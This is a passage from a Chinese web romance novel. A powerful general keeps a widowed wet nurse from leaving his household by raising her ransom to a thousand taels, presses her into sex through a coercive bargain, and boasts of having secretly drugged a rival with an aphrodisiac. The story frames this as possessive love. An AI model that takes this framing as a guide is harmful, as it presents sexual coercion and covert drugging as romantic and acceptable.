他清楚,这小娘子虽然平日娇软怯懦,性子却带着一股执拗。 当初他不过是欺瞒了她几句,她便那般果断决绝,定然无法忍受裴济那样的背叛欺骗。 如今裴济那边也靠不住了,没有裴济带她离开,她又能去哪呢? 楚烬刚在心底这般想着,院门口便传来了一道温和的声音, “罗娘,我有事情要同你说。” 来人正是裴济,他神色略显局促,站在院门口,目光落在罗苒身上,带着几分愧疚和急切。 见楚烬在场,便动手要去将罗苒拉到他处。 楚烬却上前一步,挡住裴济伸来的手。 “表叔怎的神神秘秘?” 楚烬语气里带着几分刻意的挑衅嘲讽,显然没打算让裴济顺利与罗苒谈话,打定主意要掺一脚。 “难不成还有什么见不得人的事,不便当人面讲?” 裴济没理会他话语中的嘲讽,思索了片刻,便不再犹豫,径直看着罗苒,神色诚恳,语气郑重, “罗娘,我今日来,是来同你坦白的。” 第一卷 第69章 如今人家不要你了,你打算怎么办? 他顿了顿,将自己前未婚妻从营州赶来的事情一五一十地告诉了罗苒,又缓缓说道, “我慎重考虑了许久,今日已然去找了她,跟她彻底断了干净,也告诉了她,我心中已经有了其他喜欢的人……” “我知道,这件事最好不让你知晓,若是让你知晓,你定然会生气介意,可我实在不想再欺瞒你,不想再对你有半分隐瞒……” 这话像一巴掌扇在楚烬脸上,方才还信誓旦旦说裴济靠不住,转眼裴济自己跑来坦白。 罗苒看着裴济诚恳的眉眼,听着他坦诚的话语,心底竟生出几分动容。 方才因客栈之事生出的隔阂失望,此刻也彻底消散无影。 楚烬站在一旁,看着两个人面对面站着,气氛好得刺眼。 心底又气又酸,脸色阴沉得能滴出水来,却又不便当场发作。 冷哼一声,甩袖离去。 科考放榜,裴济高中进士。 老夫人欣喜不已,念及他是楚家远亲,又天资出众、前程可期,便做主在楚府摆下盛宴,替裴济庆贺。 裴济高中罗苒也真心替他欢喜,十几年的寒窗苦读总算有了回报。 晚上的盛宴,裴济本是第一时间便来邀请罗苒参加的,只是没想到事有不巧。 楚家一位远房表亲昨日刚诞下一名男婴,产妇身体虚弱,没有奶水。 那表亲听闻楚家衍哥儿的奶娘奶水充足又极会照料婴儿,便特意派人来求,恳请罗苒前去照料一晚,帮孩子渡过难关。 表亲家距京城有近半日路程,需得离府过夜。 事关一个来人世的小生命,罗苒自然不会推辞,匆匆安顿好小玥和衍哥儿,便跟着下人起程离府。 却没想,仅是离去的这一晚,竟出了变故。 宴会上觥筹交错,宾客盈门,裴济作为今日的主角,被众人轮番劝酒,盛情难却之下,一杯接一杯地饮,不多时便满脸通红,脚步虚浮,醉得神志不清。 谁也未曾料到,他的前未婚妻汪静漪竟不知为何出现在了楚府,两人在酒精的驱使下,竟误打误撞滚到了一起。 裴济先伤了根本,本已不能人事,可那夜不知为何,身体竟意外好转,两人终究是逾越了礼教,发生了肌肤之亲。 第二日天光大亮,两人相拥而醒,看着彼此凌乱的衣衫,皆是惊慌失措。 裴济酒意褪去,清醒过来,望着身旁泪眼婆娑满心委屈的汪静漪,心底满是愧疚。 他素来重名节讲道义,更何况两人本就互相喜欢,当初只因他身体有疾,才无奈解除婚约不能相守。 如今他身体意外痊愈,还与汪静漪生米煮成熟饭,已然没有退路,只能硬着头皮担起责任,决意与她成婚,不负佳人。 罗苒按照约定,照料完远房表亲的孩子,便匆匆返程回了楚府。 刚踏入府门,便见下人们三三两两聚在一起,窃窃私语,语气里满是八卦与唏嘘。 与她素来相好的丫鬟见她回来,连忙快步上前,拉着她走到僻静处,将宴会上发生的一切,还有裴济决意与汪静漪成婚的事,一五一十地告诉了她。 罗苒听完要说不震惊意外,那定然是假的。 如此一来,她与裴济也自然彻底没了缘分。 要说不难受还是假的。 虽然到如今,她并没有真正对裴济生出朋友之外的情谊,只想借他先顺利离开楚府,但到底还是功亏一篑。 楚烬来的时候,罗苒正坐在自己屋里,抱着刚哄睡的小玥发呆。 楚烬倚在门框上,戏谑语气带着几分刻意的为难, “你现在惯会偷懒了,天还没黑就回屋了。” 罗苒这才回过神,看到门口的楚烬,神情还是有些恹恹的, “大爷赎罪……小玥困了,我把她哄睡安置好,就回去照料衍哥儿。” 楚烬站在门口并没有动,目光落在罗苒身上。 罗苒不知他这几日哪来的闲工夫,索性不理他,轻手轻脚将小玥放到小床上。 楚烬的目光扫过小玥安睡的小脸,又落回罗苒依旧沉静的神态上,似是随口一提, “你的裴公子,动作倒是快,他同汪静漪的婚书,今日已经过了官府的印,再过几日起程回营州后便要正式成婚了。” 罗苒差不多已经看出了这男人今日的目的。 她抬眼,看向倚在门口嘴角带着轻挑笑意的楚烬,只觉得他实在是无聊,她一个小小的奶娘,她的狼狈与失意,又有什么好看的? 罗苒懒得与他纠缠太多,索性低下头,也不接话。 可在楚烬看来,她这般沉默,分明是伤心到了极致,连反驳的力气都没有了。 他心底莫名生出一股闷意,语气也不由重了几分, “怎么?伤心了?” “他裴济如今事业感情双丰收,正高兴着呢,怕是早就把你抛到九霄云外了,你又何苦为这种人劳心伤神?” 楚烬上前一步,语气愈发刻薄, “想来也是,当初他只因身体有疾,才会退而求其次选择你。如今他身体好了,有了名正言顺的未婚妻,有了锦绣前程,又怎会记得你这个带着孩子的寡妇?” 罗苒实在没心思这时候跟他争论什么,抬脚便要往外走, “大爷让让,我得去给衍哥儿喂奶了。” 可楚烬却并没有要路的意思。 见她这个时候了,还是这般急着避开自己,一副不愿与他有半分牵扯的样子,楚烬的脸色渐渐变得不明朗起来。 他本以为,裴济有了旁人,罗苒自认为没了退路,便只能像从前一样依靠他,就会变回之前那副温顺的样子。 可如今,她眼底的冷淡寂寥,却让他觉得十分碍眼,心底的躁意也越发浓烈。 楚烬低头,目光沉沉地看着等着他让路的罗苒,语气愈发咄咄逼人, “你不是打算跟他走吗?如今人家不要你了,你打算怎么办?再想去找谁?找楚乘风?可惜啊,他还在南方,据说又在当地寻了一个美妾,怕是也没你的位置了……” 第一卷 第70章 为何一次次这样戏耍我? 罗苒猛地抬起头,直直地对上楚烬的目光,看着他那张棱角分明却满是玩味讽刺的脸,心底的委屈与不甘,一点点翻涌上来。 她不明白,楚烬为何要这样对她,为何就那么见不得她好? 明明有错在先的是他,将她一腔真心戏耍揉捏。 如今她落得这般境地,他却还要这般步步紧逼肆意羞辱。 莫不是就因为她是一介平民,是一个无依无靠的寡妇,便可以被他随意欺辱肆意耻笑? 便是再好的脾气,也经不起这般反复的磋磨。 罗苒的眼底渐渐发热,鼻尖也泛起酸涩,终究还是没忍住,用那发红的眼睛,直直地望着楚烬。 “我想跟谁走,又想做谁的妻妾,跟大爷你又有什么关系?” 她顿了顿,声音微微发颤,却依旧带着几分倔强, “大爷莫不是管得太宽了些?” 罗苒一向逆来顺受,像一块白润的面团子,无论受了多少委屈,都只会默默承受,何从用这般冲的语气顶撞过楚烬。 如今她眼眶红红近乎失控的样子,竟然还是为了其他男人,楚烬的脸色顿时沉了下来,眼眸阴沉得可怖。 “来人。” 楚烬的声音冰冷刺骨,没有一丝温度。 守在门外的下人闻声,连忙推门进门,垂首而立,不敢抬头看楚烬的脸色, “大爷。” “把小丫头带衍哥儿屋安置。” 楚烬的语气冰冷,目光死死锁着罗苒。 下人不敢怠慢,连忙轻手轻脚地走到小床边,抱起熟睡的小玥,快步退了出去,顺势带上了房门。 偌大的屋子里,只剩下楚烬与罗苒两个人,气氛压抑得让人喘不过气。 罗苒看着被抱走的小玥,心底一紧,下意识地就要去追,却被楚烬一把抓住了手腕。 “我让你走了吗?” 楚烬的声音带着几分压抑的火气, “越发难管教,你还记得你是我大院的人吗?” 罗苒的眼眶又红了几分,她抬眸直视着楚烬,心里那股委屈和恼怒翻涌着。 从前,她总想着楚烬权大势大,便想着多一事不如少一事,尽量不与他彻底闹翻,便是想着跟裴济离开,也是想找个还算体面的理由离开。 可如今,她实在觉得无法再忍下去了。 她在这楚府来来回回这些事,背地里遭了多少笑话,多少嘲讽。 那些不堪入耳的污言秽语,那些带着鄙夷与轻蔑的目光,总是像针一样密密麻麻扎在她心上。 她不是木头,不是没有知觉,这般日复一日,她如何能忍受? “是,奴婢难以管教,不配做大爷院里的下人,那我不干了不成?”罗苒的声音带着几分哽咽,却依旧带着几分破釜沉舟的倔强。 说罢,便想要挣脱开楚烬的手,从屋中逃离,哪怕前路未卜,也不想再待在这牢笼之中。 可楚烬却攥得愈发紧实,指腹几乎要嵌进她的手腕肉里,疼痛传来,罗苒忍不住闷哼一声, “放开……楚烬,你放开我!” 楚烬却像是被她的反抗彻底激怒,非但没有松手,反而猛地发力,将她扔到了身后的床上。 罗苒猝不及防,重重摔在身后的软榻上,还没等她撑着身子爬起来,一道高大的阴影就压了下来。 楚烬俯身,双手撑在她身体两侧,把她牢牢困在榻间。 又是那种要吃人的目光,似是要将眼前之人吞噬殆尽一般。 在那样强势狠厉的压迫感下,罗苒稍微冷静了一些,惧意随即涌了上来,眼底水雾聚集,惊慌地看着将她压在身下的男人。 “你说的,可是真的?” 楚烬的声音低沉沙哑,染着浓浓怒意。 罗苒忍着心底的惧意,强压着即将滚落的泪水,点了头, “是……若是大爷还念及当年一丝救命之恩,便允我同小玥离开。我如今这般留在府中,又算是怎么回事?” 楚烬盯着她泛红的眼眶,沉默了片刻。 眼底的怒火竟奇异地褪去几分,取而代之的是一种难以捉摸的深邃。 “行,你要走,现在就可以走。” 罗苒蓄满泪水的眼睛猛地瞪大,带着不敢置信的希冀。 她万万没想到,楚烬竟然会这么轻易就放她走,一时之间竟顾不得惧怕慌乱, “大……大爷说的可是真的?” 楚烬被那希冀的眼神刺痛了一瞬。 他看着眼前的小娘子迫不及待想要逃离的模样,心底的闷意与不甘瞬间翻涌上来。 她便这么想要离开这里,楚府的富贵不要,他能给的地位不要,偏偏执着于那缥缈可笑的爱情? 楚烬的嘴角勾起一抹残忍的弧度,语气陡然转冷,带着几分戏谑与凉薄, “不过,楚府规矩,你签了五年活契,要想离开,需得缴纳千两赎金,才能赎回你的身契。” “千两?”罗苒大惊失色,声音带着几分难以置信的颤抖, “可当初我签身契时,明明说好,赎身只需二十两!” 楚烬嗤笑一声,语气不容置疑, “我说千两,便是千两,楚府是我的地方,规矩由我定,轮不到你置喙。” “你要么拿得出千两赎金,现在就带着小玥走,要么,就老老实实地留在楚府,收起你那些不切实际的逃离念头。” 罗苒的泪水还是忍不住落了下来。 千两赎金,于她而言,无疑是天文数字。 楚烬伸手捏住她的下巴,强迫她抬头看着自己, “你也别想着去找你的好裴公子,他明日便同汪静漪起程回营州了。如今他满心都是他的未婚妻,哪里还有功夫管你这个无关紧要的人?” 罗苒抬手用尽全身力气去推楚烬,可楚烬身形高大健硕,纹丝不动。 她抽噎着,眼睛通红, “若是我之前得罪了大爷,任凭大爷责罚,赏鞭子还是打板子都行……为何一次次这样戏耍我?” 楚烬看着那湿漉漉的眼眸之中的哀怨抵触,心底那点压抑的情绪终于绷不住了。 那是怒火,是不甘,是连他自己都未曾察觉的在意偏执。 他猛地俯身,低头狠狠吻住了身下的女人。 罗苒被吻得一愣,反应过来后下意识地挣扎起来,但却只是徒劳。 楚烬吻得很急,带着几分惩罚的粗暴,强势凶猛,步步紧逼。 一吻结束,二人皆是气喘吁吁,楚烬缓缓松开些许,额头抵着罗苒的额头,眼底的怒火已然褪去,只剩下浓得化不开的偏执占有。 第一卷 第71章 苒娘糊涂了,外头天都快要亮了 “先前我觉得你不愿意,便不应该强要你,便想着慢慢哄你,让你心甘情愿留在我身边。” 他的声音低沉沙哑,带着几分压抑的情愫, “可你总是三心二意,想来只有睡了你,你才能老实……” 他顿了顿,指尖轻轻摩挲着身下人儿泛红的脸颊,语气缓和了几分, “你放心,我也不是那种禽兽不如的人,不如我们做个交易……” “给我一炷香的时间,一切都由我主导,若一炷香后,你还想让我停下,还执意要走,那我便放你离开,千两赎金一笔勾销,亲自派人送你和小玥走,再也不纠缠你……” “反之,你便乖乖留在我身边,可好?” 罗苒像是看到了希望,声音发颤, “可,可是真的?” 楚烬低头,轻轻吻了吻她通红的鼻尖,语气里难得带上一丝温柔的诱哄, “自然,我说话算话,从不食言。” “好……” 罗苒咬着唇,缓缓应下。 她本想,两人又不是没有过肌肤之亲,一炷香的时间而已,就算楚烬真的对她做什么,她也咬牙认了。 楚烬的吻再次落了下来,与方才的粗暴不同,这一次,他的吻格外温柔。 带着循循善诱的挑逗撩拨。 罗苒的身体起初还僵硬着,可在他温柔的触碰下,竟不由自主地放松下来。 衣衫松散,楚烬的吻缓缓向下, 带着薄茧的指尖与他唇间的灼热交织,酥麻之感愈演愈烈。 罗苒紧紧咬着唇,竭力克制着心底的异样,可呼吸还是渐渐乱了。 楚烬微微抬起头,看着她凌乱却仍竭力克制的模样。 哑声轻笑,语气里全是暧昧, “苒娘好厉害,已经快到半柱香了。” 罗苒闻言,心底悄悄松了口气,紧绷的神经稍稍放松了些。 可不等她缓过神,楚烬却突然低下头。 罗苒蓦然瞪大眼睛,满脸惊恐地看着伏在自己腿间的男人。 这男人竟又一次刷新了她的认知…… 罗苒惊骇得几乎要尖叫出声,慌乱地抬手。 可强烈的感觉席卷全身,让她本要去推的手,竟下意识地攥紧了他的头发。 腰软了,思绪也乱了。 楚烬感受到她的反应,动作愈发放肆…… …… …… 不知过了多久,罗苒混沌的意识短暂的清明了一瞬。 恍惚间还沉溺在楚烬怀中。 后背贴着他滚烫结实的胸膛,躯体交缠,气息里全是暧昧的甜腥味。 一个深吻结束的空隙,她颤巍巍地开口,嗓音沙哑破碎的几乎听不清晰, “一炷香……一炷香的时间是不是已经到了?” 身后箍紧她腰身的男人分毫未松,动作不曾停歇。 楚烬咬着她柔软的耳尖,低低沉沉地轻笑,嗓音沙哑磁性,裹着几分说不清的餍足, “苒娘糊涂了,外头天都快要亮了……” 翌日清晨。 裴济早早来到罗苒侧院门前。 已是史上三竿的时辰,她的房门却依旧紧闭。 以为罗苒心生怨怼不愿见他,便隔着院门,低声开口,语气满是愧疚, “苒娘,我知晓是我负你,今日冒昧前来,确实厚颜,可我清楚你被困楚府,日子过得步步维艰……” “我已和漪儿商议妥当,你若还愿意,我仍旧可以带你回去,纳你为平妻……小玥我也会当亲生孩子看待……” 话没说完,院门倏然被人从内拉开。 楚烬缓步走出,一身慵懒矜贵。 他漫不经心转动脖颈,骨节轻响,脖颈间暧昧斑驳的痕迹一览无余。 狭长的眼眸淡淡睨着裴济,语气散漫得意, “表叔大清早堵在门口,絮絮叨叨念些什么胡话?幸好苒娘睡得熟,没被你这番聒噪扰了清净。” 裴济视线死死钉在他颈间暧昧的咬痕上,看着他脸上胜利者的姿态,顿时目眦欲裂, “你!你怎能在这时趁人之危!” 楚烬唇角勾起一抹肆意玩味的笑,慵懒抬眼, “趁人之危?表叔倒是好好说说,到底是我趁人之危,还是表叔趁人之危? “苒娘本就是我的,若不是表叔趁着我们二人有间隙时趁虚而入,我何须费这番功夫?” 说完,他侧头唤来婢女,方才冷冽的戾气尽数收敛,语气温柔细致起来, “备好热水,早膳全部换成清淡适口的,再端一碟她爱吃的桃花酥,配上一碗清润养身的甜汤……” “去府医那里取来消肿清淤的药膏,送进内室,进去伺候时手脚放轻,半点动静都不许有,别吵醒了里面的人。” 这般面面俱到致入微的呵护,刺得裴济双目赤红。 “昨晚苒娘绝对不是情愿的,定是你强行逼迫!你乃是堂堂镇国将军,位高权重,怎能如此卑劣,肆意欺凌那般柔弱无辜的女子?” 面对裴济气急败坏的指责,楚烬半点不觉难堪,反倒神情坦然得意,像一头餍足的猛兽,眼底满是慵懒的蔑视与强势。 “兵不厌诈啊表叔,你何必如此动怒?” “你指责我欺负她,可你又是什么深情良人?当初你选择留下她,不过是权衡利弊的算计罢了。倘若你当真情深意重,心口如一,又怎会轻易背弃承诺,和别的女人缠绵苟且?” 字字诛心,句句戳破伪装,当场堵得裴济脸色青白交加,哑口无言。 楚烬懒得再与他废话,转身欲走,脚步却骤然一顿,回眸时眼底掠过一抹阴恻的玩味。 他抬手,将一个小小的药瓶递向裴济, “这个送给表叔,难得的情药,妙用无穷,就算是天生无用之人,沾了也会被情欲裹挟情动不已。” 裴济看着楚烬手中那精致药瓶,瞬间豁然惊醒。 那晚是楚烬给他下了这药,他才和汪静漪成了事。 “楚烬!你简直卑鄙无耻!” 楚烬对此怒骂毫不在意,漫不经心挑眉,笑意凉薄又恶劣, “我好心帮表叔破除桎梏重振雄风,你不感恩戴德,反倒恶语相向?” “如今你美人在怀,仕途坦荡,风光得意,满府谁人不羡慕你的好日子?” 裴济猛地抬眼,看着楚烬眼中的胜券在握,忽然意识到什么, “那罗苒呢?你是不是也对她用了这种下三滥的药?楚烬,你怎能用如此肮脏手段算计她!” 第一卷 第72章 侧院的人醒了没? 楚烬神色淡淡,语气冷硬决绝, “我想要的人,便会不择手段,势在必得。” “妄想抢走属于我的东西之前,最好先看清自己的分量,自己究竟配还是不配。” 楚烬指尖捏着那只小巧的药瓶,又往前递了递,语气轻佻, “这药,是我特意派人从药王谷寻来的,用料皆是上等珍品,不过是闺房之中添趣之用,对身子半点坏处也无。” “表叔先前可是亲自试过效果的,若还想再尝一尝床笫间的欢悦,便好好收下这药,带着你的未婚妻,安安分分离开楚府。” 裴济盯着那只药瓶,眉头紧蹙,神色挣扎犹豫了片刻。 心底虽满是不甘与屈辱,可那日被药物裹挟的蚀骨快感,却像藤蔓般缠绕心头。 终究是经不住这般诱惑,抬起手,僵硬地将药瓶接了过来。 …… …… 裴济带着汪静漪走得干脆利落,前后不过半个时辰便收拾妥当。 登门向老夫人辞行后,便彻底离开了楚府地界。 不多时,府中下人前来向楚烬禀报,说是裴济一行人已经顺利出城,再无折返之意。 彼时,楚烬正在校场亲自督练亲兵。 手持长弓,拉满弓弦,利箭破空而出,稳稳正中红心靶心。 周遭亲兵见状,齐声喝彩声势震天。 旁人都能明显察觉,今日的楚烬心情格外舒畅,前段时间眉宇间的戾气都缓和了不少。 一旁的小将谢冲与卫岚,前阵子莫名其妙被楚烬打发去扫马厩。 刚被调回来,至今没想明白哪里得罪了自家将军,便越发小心翼翼地陪着恭维。 楚烬随手收起长弓,淡淡看向禀报的下人,语气看似漫不经心, “侧院那边人醒了没有?得知人离府,可有什么异样反应?” 下人连忙躬身回话, “回大爷,罗娘子自您走后便一直安睡,到这会儿还未曾转醒,院里一切安稳,半点动静也无。” 楚烬随意摆了摆手,示意下人退下,面上不动声色,转头继续抬手拉弓射箭,仿佛心里全然没放在心上。 心思简单耿直的谢冲,听见下人提起罗苒,下意识随口感慨, “说起来,属下都好久没见罗娘子来军营了,从前罗娘子心里惦记着将军,隔三差五便过来送吃食,属下还格外想念罗娘子亲手做的枣泥卷呢……” 身旁的卫岚连忙暗中扯了扯谢冲的衣袖,飞快朝他使了个眼色。 他比谢冲精明一些,前些日子无端被打发去铲马厩,他心里早就猜出七八分缘由,十有八九和这位罗娘子脱不开干系。 自打罗娘子不再来军营那日起,自家将军就性情大变,冷戾暴躁如同阎罗,日日周身压得人喘不过气。 也就今日将军才难得心情好转。 偏偏谢冲浑然不觉危险,还傻乎乎地问卫岚, “你朝我眨眼干什么?我懂了,你肯定也跟我一样,馋罗娘子做的枣泥卷了,对不对?” 卫岚暗自在心里翻了个白眼,连忙找补解围, “如今边境军情动荡,随时都有可能沙场开战,局势不稳。罗娘子一介弱质女流,频繁来往军营本就不妥,也不安全。将军定然是出于稳妥考量,才特意不许罗娘子前来。” 谢冲闻言连连点头附和,毫无察觉周遭气压又低了几度, “说得有理,那这么看来,下次咱们再见罗娘子,差不多就是将军与罗娘子大婚那日了……” 卫岚看谢冲在雷点上反复横跳,心中默默为他祈福。 耳畔落下“大婚”二字,楚烬眼底一暗。 指尖发力,利箭再度射出,精准再次正中靶心。 他面无表情,冷声开口,“谢冲,操练加倍,今日余下时辰,继续去清理马厩。” 说罢,不看谢冲苦瓜似的脸色,转身离开。 楚烬心中清楚,若是当时没有那个意外,如今罗苒本该满心欢喜,安安分分待在府中,一针一线为自己缝制大红嫁衣,满心期许着与他成婚相守。 哪里会像现在这般,需要他步步筹谋,用尽手段,才勉强将人扣在身边。 对楚烬而言,一开始考虑娶罗苒为妻,确实是因为皇家施压赐婚的缘故。 但他心里清楚,也不是随便来个救命恩人,他都能心甘情愿同她演这场戏的。 那日为了让赵灵熙彻底死心而说的那番话语,虽是刻意为之,却也不全是假的。 他半生戎马,浴血沙场,见惯生死别离,看透世态炎凉。 从不相信世间所谓忠贞不渝的情爱,更不信一辈子不变的心意。 亲情会淡,友情会散,情爱更是最不值一提,最易反目的东西。 在他眼里,人与人能安稳共处、互不辜负,便已是极致难得,海誓山盟,不过是荒唐空话。 可纵使冷眼看淡情爱,他也不得不承认,罗苒在他心底,终究是与众不同的。 她生得貌美温顺,性情柔软,身段容貌,样样都恰好长在他的审美之上。 初见重逢那日,他心底便已然生出将她收入帐中的想法。 起初他只当她是柔弱菟丝花,温顺乖巧,无依无靠,娶回府中安稳供养,省心又合适。 就算日后厌倦,她这般温和性子,定然不会闹事惹烦自己。 可相处日久,他才渐渐发现,柔弱温顺的皮囊之下,藏着聪慧通透,藏着坚韧风骨。 她品性端庄,足以担得起楚府主母重任。 她无家世无靠山,不必担心外戚势大,掣肘府中局势。 她温柔贤淑,能妥帖照料府中长辈,安稳教养孩童。 更难得心性坚韧,经历过艰辛磋磨。 就算他日他不幸战死沙场,也能独自撑起楚府,护住阖家上下老小,不会轻易垮掉。 于情于理,于公于私,她都是最完美,最合心意的妻子人选。 他将一切利弊盘算周全,万事皆算得妥当,偏偏唯独算漏了一桩…… 这女子不但记仇,执念情深。 就因他当初刻意欺瞒,她便彻底心寒,不再信任,满心抵触戒备。 宁可舍弃楚府安稳荣华,也要转身离开,甚至转头与裴济相守相伴,约定终身。 简直不知好歹,荒唐可笑。 第一卷 第73章 他有的是耐心和手段慢慢磨 他承认,当听闻罗苒求了老夫人执意要跟着裴济离开楚府之时,他确实恼怒地想过,这般不识抬举的女人,索性放手,任由她去,日后永不相干。 可那日在酒楼月台之上,他亲眼看见她与裴济共撑一伞举止亲密时,心底翻涌而起的负面情绪便疯狂滋生。 酸涩、不甘、烦躁齐齐涌上心头。 浓烈的占有欲几乎要冲破胸膛,涨得他心口又紧又疼。 这女人从头到尾,本该是属于他的人,凭什么拱手让人? 什么成全,什么放手,全是笑话! 他就是不想放,就是不许她走。 好在如今裴济已经彻底走远,只要他一日不肯松口,她便只能老老实实待在府中。 就算心中万般不愿,就算满心抵触,就算还抱着不切实际的念想,妄图追寻那些虚无缥缈的儿女情长、忠贞真心,也终究无处可逃。 楚烬觉得这一切都应该归结为男人天生的独占欲和掌控欲在作祟。 罗苒这般合他心意的人,既然已经落到他手中,他绝无拱手让人的道理。 当然他也清楚先前自己行事的确过激,伤了女人的心,惹得她防备重重满心抗拒。 只是那一时的倔强执拗算不得什么,女人心思本就柔软,一时置气罢了,迟早都会认清现实。 楚烬心底格外清醒,也格外自信。 来日方长,他有的是耐心和手段慢慢磨。 …… …… 罗苒醒来,轻眨着酸涩干涩的眼眸,好一会儿意识才缓缓回笼。 浑身筋骨泛着密密麻麻的酸软钝痛,头颅昏沉发胀,像是快要炸开一般。 荒唐画面翻涌浮现,她心头一阵发烫。 昨晚她肯定是疯了,就那么糊里糊涂地顺势而为。 身上干爽,像是事后被人清理过,可她压根半点印象都无。 羞窘交加的勉强撑着身子穿戴整齐,刚一动弹,屋外等候的动静便被屋内察觉,候在外头的小丫鬟仙儿立刻轻步推门进来。 “罗苒姐姐醒了?外头的热水与早膳早已备妥,全是大爷特意细细安排的。姐姐是先洗漱梳洗,还是先用早膳垫垫身子?” 罗苒神色局促,处处透着不自在, “不必了,我还有事,先离开这里。” 仙儿连忙上前半步将她拦下, “大爷早有吩咐,知晓你醒来必定一心惦记衍哥儿与小玥,一会儿就让人把他们带过来,您先安心洗漱用膳吧。” 罗苒无奈,只得依言行事。 方才洗漱收拾妥当,衍哥儿与小玥便被下人带了过来。 她取来桌上精致的桃花酥,细细分给两个孩子。 望着眼前乖巧的两个娃娃,心底五味杂陈,翻涌着说不清的酸涩无奈。 那种事,有第一次就有第二次,之后便是无数次。 楚烬不知餍足,几乎只要晚上回府,便拉着她不放。 她被折腾得整夜睡不好,白日里便没精神。 楚烬知道她惦记两个孩子,便专门又给衍哥儿院添了两个奶娘,把孩子带得妥妥帖帖,免去她的后顾之忧。 难得有一夜,楚烬在军营处理公事没来得及回来。 罗苒终于搂着小玥睡了个踏实觉。 早晨刚打算带小玥去衍哥儿院,老夫人那边便来人传召。 直觉告诉罗苒并不是什么好事。 果然到了老夫人屋里,便见三太太钟氏也坐在一旁。 堂上老夫人面色沉郁,脸色难看至极。 一旁的钟氏眼神尖锐,带着毫不掩饰的刻薄和敌意。 之前楚时安刻意挑唆公主最终惹怒楚烬后,被送往护国寺思过。 之后三房老爷亲自去找了楚烬,他才松口让楚时安来年归来。 可那护国寺偏僻清冷,日日只能吃斋念佛清心寡欲,半点荤腥享乐都无。 这对于从小养尊处优锦衣玉食惯了的楚时安而言,无疑是天大的折磨。 钟氏本就将楚时安视作心头肉,如今女儿受苦受累,她不敢找楚烬撒气,便将所有的怨气恨意,全算在了罗苒头上。 在她看来,若不是罗苒这个“狐媚子”缠上楚烬,惹得府中鸡犬不宁,楚时安也不会一时糊涂去挑唆公主,更不会落得这般下场。 钟氏对自己那赤裸裸的敌意和记恨,罗苒自然看得出来。 如今老夫人又是这样的脸色,想来钟氏在她跟前,早已添油加醋不知将自己诋毁成何样了。 果然老夫人还没开口,钟氏先开了腔。 她上下打量着罗苒一身素雅蓝绸,话里有话道, “老夫人传你,你却磨磨蹭蹭耽搁许久才赶来,莫不是真以为爬上了大爷的床,便有恃无恐目中无人了?连老夫人的传唤,都敢这般怠慢轻慢。” 罗苒连忙屈膝俯身,慌忙躬身告罪,姿态卑微又局促。 三太太见状,愈发肆无忌惮,继续在一旁蓄意挑拨。 老夫人的脸色也随着钟氏的话语愈发阴沉难看,沉沉开口语气冷硬威严, “今日传你过来,便是要好好定一定你的位份。先前烬儿执意要娶你为正妻,我念在你是他的救命恩人,只当你们二人情根深种,便暂且纵容,未曾多加阻拦。” “可如今你瞧瞧你这作风,明明应了裴济,说要同他走,转头又进了烬儿的屋,两个男人都让你耍得团团转,这种作风怎配做楚府主母?如今就算烬儿一意孤行护你,老身也绝不会点头应允。” 老夫人顿了顿,语气仍旧不带半分情面, “念在你当年救过烬儿一命,算是有功于楚家,我便留你几分体面,至多,只给你一个妾室名分。” “我看几日后就抬进门吧,名份定下来,也好过你日日顶着奶娘的名头,日日与烬儿厮混,主不主、仆不仆,让人看笑话。” 罗苒心中一沉,诧异的抬眼看向面容冷冽雍容的老夫人。 “妾室”二字,冰冷沉重,狠狠砸在她心上,一股难以言喻的屈辱席卷全身。 那日稀里糊涂与楚烬纠缠过后,她心底一直纷乱不堪。 但还是自欺欺人的想着,指不定楚烬新鲜了两日发现也就那么回事,便会放她离开。 第一卷 第74章 整日缠着他耽误他正事 她一直想着,只要楚烬不给她名分,不定下来府中身份,没有文书印鉴束缚,她就依旧只是府中下人。 身为下人,想要离开楚府,不过是主子一句话的事。 她从没想过,楚烬尚且没有定下她的去处,老夫人反倒先一步,要堵了她的后路…… 只听老夫人继续说着, “往后入了府,便安分守己收了杂念,安安分分守着本分,若是依旧不知收敛,老身这里,自有法子管教你。” 一番话语重重落下,罗苒脸色不由白了几分。 她心里抵触,可知道自己如今的处境,反对也没用。 只低着头没吭声,想着回去后再从长计议。 老夫人眼下被钟氏一番挑唆,对罗苒便是心生不满,打定主意要好好敲打她一番,给她一个教训。 见她依旧低眉顺眼闷不吭声,便又开口说道, “听闻烬儿特意请了女先生,费心教你读书识字?既然这般有闲情逸致,那今日便留在这院中,静心抄写经书思过。” “别以为烬儿找了其他奶娘,替你照看着衍哥儿,你便有了空闲,整日缠着他耽误他正事,让他荒废军务分心走神。” “以后你每日都得来我这院里,抄写三篇经书,好好净心。” 罗苒无从拒绝,只得依言落座在屋中僻静角落,垂眸安静抄写经书。 钟氏则陪在老夫人身侧,闲话家常、品用茶点,时不时便暗戳戳提及罗苒的不是。 没过多久,门外便走进两位容貌精致,身段窈窕的世家小姐,皆是养尊处优的端庄模样。 钟氏见了人,立刻满脸热络起身迎接,笑意满满。 这两位小姐,便是钟氏特意为楚烬寻的门第相当的贵女小姐,意在为他促成一门门当户对的亲事,试图减少转移他对罗苒的在意。 钟氏满脸堆笑,向老夫人逐一介绍, “母亲您看,这两位皆是名门出身的世家嫡小姐,品性端庄,家世与咱们楚府也十分匹配,都是配阿烬的最合适人选。” 两位小姐举止落落大方,主动上前向老夫人和钟氏行礼问安。 你一言我一语地陪着二人闲谈,气氛热络,自始至终,没人正眼瞧过角落里的罗苒。 罗苒一直低头抄着经书,手腕早已酸麻酸胀,却半点不敢停歇。 她生怕自己稍有懈怠,就被钟氏抓住把柄,扣上恃宠而骄的帽子,只能强撑着继续落笔。 临到晌午,老夫人笑着留两位小姐留下用午膳,语气带着几分暗示, “正好阿烬也该从军营回来了,你们今日正好见见,也好互相熟悉熟悉。” 罗苒悄悄抬眼,瞥了一眼那两位衣着华贵气质金贵的小姐。 心中想着,楚烬那般战功赫赫的人物,确实该配这样家世优良的女子在身边,才算得上门当户对。 楚烬这几日兴致高的很,许是真的后院空了太久的原因…… 若是真的将这两位得体美貌的世家小姐介绍给他,他或许就真的无心顾及自己了。 要是那样,自己是不是就有机会离开楚府,带着小玥离开了? 正出神间,楚烬抱着衍哥儿走了进来。 显然他刚从军营练武场归来,一身利落骑装,束腰紧束,宽肩窄腰长腿的身形展露无遗,浑身透着将领的干练与冷俊。 进门时,他似是无意般扫了角落里的罗苒一眼,目光稍纵即逝。 随后才笑着看向老夫人和钟氏,开口行礼, “祖母,三婶。” 